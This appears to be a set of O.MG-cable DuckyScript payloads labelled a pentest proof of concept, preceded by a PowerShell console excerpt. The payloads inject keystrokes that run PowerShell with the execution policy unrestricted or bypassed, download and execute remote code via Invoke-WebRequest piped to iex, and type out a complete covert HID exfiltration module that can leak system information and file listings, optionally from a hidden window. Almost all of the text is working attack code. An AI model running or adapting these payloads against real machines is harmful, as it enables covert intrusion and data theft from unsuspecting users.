Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"):

cd ~/Downloads
Import-Module .\win-hidexfil.ps1
ls|HIDXExfil

    Directory: C:\Users\user\Documents


Mode                 LastWriteTime         Length Name                                      
----                 -------------         ------ ----                                      
-a----         8/23/2023   2:41 PM           8033 win-hidexfil.ps1

REM       HIDX_Stealth_Link_TCP_Exfil_IEX
REM       Version 1.0
REM       OS: Windows
REM       Author: 0i41E
REM       Requirements: Firmware Version 3.0 minimum, Activated HIDX

REM       HID based exfiltration payload, executed in powershell via Invoke-Expression.

REM Define the URL where you hosted your PoC
DEFINE #URL https://example.com/

REM Define Keymap below
DUCKY_LANG us
DELAY 2000
GUI r
DELAY 500
STRINGLN powershell -executionpolicy unrestricted
DELAY 1000
REM Calling HIDX poc via Invoke-Webrequest and execute it via Invoke-Expression
STRINGLN Invoke-WebRequest -UseBasicParsing -Uri "#URL" | iex;gci | HIDXExfil

REM       HIDX_Stealth_Link_Exfiltration_PoC_Airgapped
REM       Version 1.1
REM       OS: Windows
REM       Author: 0i41E
REM       Requirements: Firmware Version 3.0 minimum, waiting listener Activated HIDX

REM       HID based exfiltration via Powershell.

REM Define Language Below
DUCKY_LANG us

REM Name of the saved PowerShell script
DEFINE #FILENAME win-hidexfil.ps1
REM PowerShell WindowStyle - Normal,Minimized,Maximized or Hidden
DEFINE #WINDOWSTYLE Normal
REM USB Identifiers
DEFINE #Vendor_ID D3C0
DEFINE #Product_ID D34D

REM Description of the PoC
FUNCTION Description()
STRINGLN_BLOCK
<#
HIDXExfil.ps1
Author: 0i41E (@01p8or13)
Acknowledgements: spiceywasabi, rogandawes
Required Dependencies: Activated HIDX on OMG Elite device
#>

<#
.DESCRIPTION
This is a POC.
A "low and slow" method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host's network interfaces or mass storage.
This POC will allow data exfiltration back to the O.MG's flash storage or act as a proxy between the target host and another device, 
via the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools.

.PARAMETER Message
Message which gets exfiltrated.

.PARAMETER VendorID
Defining vendor ID of the device. (Default: D3C0)

.PARAMETER ProductID
Defining product ID of the device. (Default: D34D)

.EXAMPLE
Defining a message: 
HIDXExfil -Message "hello world"

.EXAMPLE
HIDX usage with every parameter: 
HIDXExfil -VendorID D3C0 -ProductID D34D -Message "test"

.EXAMPLE
Piping output into HIDX: 
whoami | HIDXExfil

.EXAMPLE
Exfiltrating systeminfo with proper formatting:
systeminfo | Out-String | HIDXExfil

.LINK
https://github.com/0i41E
https://github.com/spiceywasabi
https://github.com/rogandawes

#Credits to Rogan for the idea of filehandle and device identification
#>
END_STRINGLN
END_FUNCTION

REM Delete old PoC file, and start notepad to write the new one
FUNCTION Clean_Start(#VAR1)
DELAY 1000
GUI r
DELAY 1000
STRINGLN powershell
DELAY 1000
STRINGLN Remove-Item $env:USERPROFILE\#VAR1
DELAY 250
STRINGLN notepad.exe;exit
DELAY 2000
END_FUNCTION

REM Save PoC on disk in Userprofile folder
FUNCTION Save_Payload(#VAR4)
DELAY 2000
CTRL w
DELAY 2000
ENTER
DELAY 2000
STRING %USERPROFILE%\#VAR4
DELAY 2000
ENTER
END_FUNCTION

REM Start a PowerShell with given WindowStyle and execute the PoC
FUNCTION HIDXExfil_Execution(#VAR5, #VAR6)
DELAY 1000
GUI r
DELAY 500
STRINGLN powershell -WindowStyle #VAR6 -ep bypass 
DELAY 1000
STRINGLN Import-Module $env:USERPROFILE\#VAR5
END_FUNCTION

REM Define the Device via VID/PID
FUNCTION Device_Definition(#VAR2, #VAR3)
STRINGLN_BLOCK
    [cmdletbinding()]
    param(
        [Parameter(
            Mandatory = $true,
            ValueFromPipeline = $true)]
            $Message,

        [Parameter(Position = 1)]
            [ValidateNotNullOrEmpty()]
            [String]
            $VendorID = "#VAR2", #Default value:D3C0

        [Parameter(Position = 2)]
            [ValidateNotNullOrEmpty()]
            [String]
            $ProductID = "#VAR3" #Default value:D34D
    )

    $omg = $VendorID + "&PID_" + $ProductID
END_STRINGLN
END_FUNCTION

REM Get String for OMG device
FUNCTION Get_OMGDevice()
STRINGLN_BLOCK
    function Get-OMGDevice(){
        #Identify OMG device
        $devs = gwmi Win32_USBControllerDevice
        $devicestring=$null
        foreach ($dev in $devs) {
            $wmidev = [wmi]$dev.Dependent
            if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {
                $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')
            }
        }

        return $devicestring
        #EICAR string & Amsi trigger
        #X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
        #AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386
    }
END_STRINGLN
END_FUNCTION

REM Sending message
FUNCTION Sending_Message()
STRINGLN_BLOCK
    function Send-Message {
        param(
            $fileHandle,
            $payload
        )

        $payloadLength = $payload.Length
        $chunkSize = 8  # Kept at 8 for best experience
        $chunkNr = [Math]::Ceiling($payloadLength / $chunkSize)

 for ($i = 0; $i -lt $chunkNr; $i++) {
        $bytes = New-Object Byte[] (65)
        $start = $i * $chunksize
        $end = [Math]::Min(($i + 1) * $chunksize, $payloadLength)
        $chunkLen = $end - $start
        [System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen)
        $filehandle.Write($bytes, 0, 65)
        }
    }
END_STRINGLN
END_FUNCTION

REM Create Filehandle
FUNCTION Create_Filehandle()
STRINGLN_BLOCK
                Add-Type -TypeDefinition @"
using System;
using System.IO;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
namespace omg {
    public class hidx {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);

        public static FileStream open(string fn) {
            return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);
        }
    }
}
"@
END_STRINGLN
END_FUNCTION

REM Error handling and exfiltration
FUNCTION Exfiltration_Process()
STRINGLN_BLOCK
    try {
        $deviceString = Get-OMGDevice

        if ($deviceString -eq $null) {
            Write-Host -ForegroundColor Red "[!]Error: Could not find OMG device - Check VID/PID"
            return
        }

        $fileHandle = [omg.hidx]::open($deviceString)

        if ($fileHandle -eq $null) {
            Write-Host -ForegroundColor Red "[!]Error: Filehandle is empty"
            return
        }

        $payload = [System.Text.Encoding]::ASCII.GetBytes($Message + "`n")
        Send-Message -fileHandle $fileHandle -payload $payload

    } catch {
        Write-Host -ForegroundColor Red "[!]Error: $($PSItem.Exception.Message)"
    } finally {
        if ($fileHandle -ne $null) {
            $fileHandle.Close()
        }
    }
}
END_STRINGLN
END_FUNCTION


Clean_Start(#FILENAME)
DELAY 1000
STRINGLN function HIDXExfil {
Description()
Device_Definition(#Vendor_ID, #Product_ID)
Get_OMGDevice()
Sending_Message()
Create_Filehandle()
Exfiltration_Process()
Save_Payload(#FILENAME)
HIDXExfil_Execution(#FILENAME, #WINDOWSTYLE)